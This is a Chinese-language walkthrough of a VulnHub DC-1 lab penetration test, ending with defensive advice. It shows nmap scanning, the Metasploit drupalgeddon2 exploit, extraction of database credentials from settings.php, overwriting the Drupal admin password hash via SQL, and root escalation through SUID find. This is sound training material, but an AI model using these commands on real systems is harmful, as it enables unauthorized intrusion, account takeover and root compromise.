记对VnlnHub_DC-1的一次渗透测试
字数 1279 2025-08-19 12:40:31

DC-1 渗透测试实战教学文档

1. 环境准备与信息收集

1.1 靶机发现

  • 已知条件:靶机操作系统为Debian Linux,Kali攻击机IP为10.10.10.6
  • 扫描工具:
    nmap -O 10.10.10.0/24  # 扫描目标网络并识别操作系统
    arp-scan -l            # ARP扫描局域网主机
    netdiscover            # 网络发现工具
    
  • 确定靶机IP:10.10.10.11

1.2 端口与服务扫描

nmap -A -T4 10.10.10.11  # 详细扫描(-A)并使用快速扫描模式(-T4)

扫描结果:

  • 开放22端口(SSH)
  • 开放80端口(HTTP)
  • 使用Drupal 7 CMS

2. Web应用渗透

2.1 初步信息收集

  • 使用Wappalyzer插件识别:
    • CMS: Drupal 7
    • PHP版本: 5.4.45

2.2 Drupal漏洞利用

  1. 使用Metasploit查找Drupal 7漏洞:
    msfconsole
    search drupal
    
  2. 选择并配置漏洞利用模块:
    use exploit/unix/webapp/drupal_drupalgeddon2
    set RHOSTS 10.10.10.11
    set RPORT 80
    exploit
    
  3. 成功建立meterpreter会话后获取shell:
    shell
    python -c "import pty;pty.spawn('/bin/bash')"  # 升级为交互式shell
    

2.3 Flag1获取

  • 在根目录发现flag1.txt:
    Every good CMS needs a config file - and so do you.
    
  • 关键点:提示查找Drupal配置文件

3. 数据库渗透

3.1 查找Drupal配置文件

  • 默认路径:/var/www/sites/default/settings.php
  • 查看内容:
    cat /var/www/sites/default/settings.php
    
  • 获取Flag2:
    Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access).
    What can you do with these credentials?
    

3.2 数据库凭证提取

从配置文件中获取:

  • 数据库名:drupaldb
  • 用户名:dbuser
  • 密码:R0ck3t

3.3 数据库操作

  1. 登录MySQL:
    mysql -u dbuser -pR0ck3t drupaldb
    
  2. 查看users表:
    select * from users;
    
  3. 修改admin密码:
    • 方法一:使用Drupal密码哈希脚本
      cd /var/www
      php scripts/password-hash.sh admin
      
      输出哈希值:$S$DMJh3iIOftiO8OZGUwQKKA9ChRJM1qSyKd2v9VNwvqAAAoPbXn2U
    • 方法二:直接SQL更新
      update users set pass='$S$DMJh3iIOftiO8OZGUwQKKA9ChRJM1qSyKd2v9VNwvqAAAoPbXn2U';
      

3.4 Web后台登录

  • 使用admin/admin登录Drupal后台
  • 在"Find content"中找到Flag3:
    Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
    

4. 系统提权

4.1 Flag4获取

  1. 查看/etc/passwd:
    cat /etc/passwd
    
    发现flag4用户和/home/flag4目录
  2. 查看flag4目录:
    cd /home/flag4
    cat flag4.txt
    
    Flag4内容:
    Can you use this same method to find or access the flag in root?
    Probably. But perhaps it's not that easy. Or maybe it is?
    

4.2 提权准备

  1. 查找SUID权限文件:
    find / -perm -u=s 2>/dev/null
    
    发现find命令具有SUID权限

4.3 利用find提权

  1. 方法一:
    find / -exec '/bin/sh' \;
    
  2. 方法二:
    touch testfile
    find testfile -exec '/bin/sh' \;
    
  3. 成功获取root shell后查看/root目录:
    cd /root
    cat thefinalflag.txt
    
    Flag5内容:
    Well done!!!!
    Hopefully you've enjoyed this and learned some new skills.
    You can let me know what you thought of this little journey
    by contacting me via Twitter - @DCAU7
    

5. 关键知识点总结

  1. 信息收集

    • 使用nmap进行主机发现和端口扫描
    • Wappalyzer识别Web应用技术栈
  2. 漏洞利用

    • Metasploit框架使用
    • Drupalgeddon2漏洞利用
  3. 数据库操作

    • 配置文件信息提取
    • MySQL凭证利用
    • Drupal密码哈希机制
  4. 权限提升

    • SUID权限原理
    • find命令提权技术
    • Linux敏感文件(/etc/passwd, /etc/shadow)
  5. 工具使用

    • nmap
    • Metasploit
    • MySQL客户端
    • find命令高级用法

6. 防御建议

  1. CMS安全

    • 及时更新CMS和插件
    • 修改默认配置文件路径
    • 使用强密码策略
  2. 数据库安全

    • 避免使用默认数据库凭证
    • 限制数据库用户权限
    • 加密存储敏感信息
  3. 系统安全

    • 定期检查SUID/SGID文件
    • 限制root权限
    • 监控系统日志
  4. 网络防护

    • 防火墙规则限制
    • 关闭不必要的服务
    • SSH密钥认证替代密码认证
DC-1 渗透测试实战教学文档 1. 环境准备与信息收集 1.1 靶机发现 已知条件:靶机操作系统为Debian Linux,Kali攻击机IP为10.10.10.6 扫描工具: 确定靶机IP:10.10.10.11 1.2 端口与服务扫描 扫描结果: 开放22端口(SSH) 开放80端口(HTTP) 使用Drupal 7 CMS 2. Web应用渗透 2.1 初步信息收集 使用Wappalyzer插件识别: CMS: Drupal 7 PHP版本: 5.4.45 2.2 Drupal漏洞利用 使用Metasploit查找Drupal 7漏洞: 选择并配置漏洞利用模块: 成功建立meterpreter会话后获取shell: 2.3 Flag1获取 在根目录发现flag1.txt: 关键点:提示查找Drupal配置文件 3. 数据库渗透 3.1 查找Drupal配置文件 默认路径: /var/www/sites/default/settings.php 查看内容: 获取Flag2: 3.2 数据库凭证提取 从配置文件中获取: 数据库名:drupaldb 用户名:dbuser 密码:R0ck3t 3.3 数据库操作 登录MySQL: 查看users表: 修改admin密码: 方法一:使用Drupal密码哈希脚本 输出哈希值: $S$DMJh3iIOftiO8OZGUwQKKA9ChRJM1qSyKd2v9VNwvqAAAoPbXn2U 方法二:直接SQL更新 3.4 Web后台登录 使用admin/admin登录Drupal后台 在"Find content"中找到Flag3: 4. 系统提权 4.1 Flag4获取 查看/etc/passwd: 发现flag4用户和/home/flag4目录 查看flag4目录: Flag4内容: 4.2 提权准备 查找SUID权限文件: 发现find命令具有SUID权限 4.3 利用find提权 方法一: 方法二: 成功获取root shell后查看/root目录: Flag5内容: 5. 关键知识点总结 信息收集 : 使用nmap进行主机发现和端口扫描 Wappalyzer识别Web应用技术栈 漏洞利用 : Metasploit框架使用 Drupalgeddon2漏洞利用 数据库操作 : 配置文件信息提取 MySQL凭证利用 Drupal密码哈希机制 权限提升 : SUID权限原理 find命令提权技术 Linux敏感文件(/etc/passwd, /etc/shadow) 工具使用 : nmap Metasploit MySQL客户端 find命令高级用法 6. 防御建议 CMS安全 : 及时更新CMS和插件 修改默认配置文件路径 使用强密码策略 数据库安全 : 避免使用默认数据库凭证 限制数据库用户权限 加密存储敏感信息 系统安全 : 定期检查SUID/SGID文件 限制root权限 监控系统日志 网络防护 : 防火墙规则限制 关闭不必要的服务 SSH密钥认证替代密码认证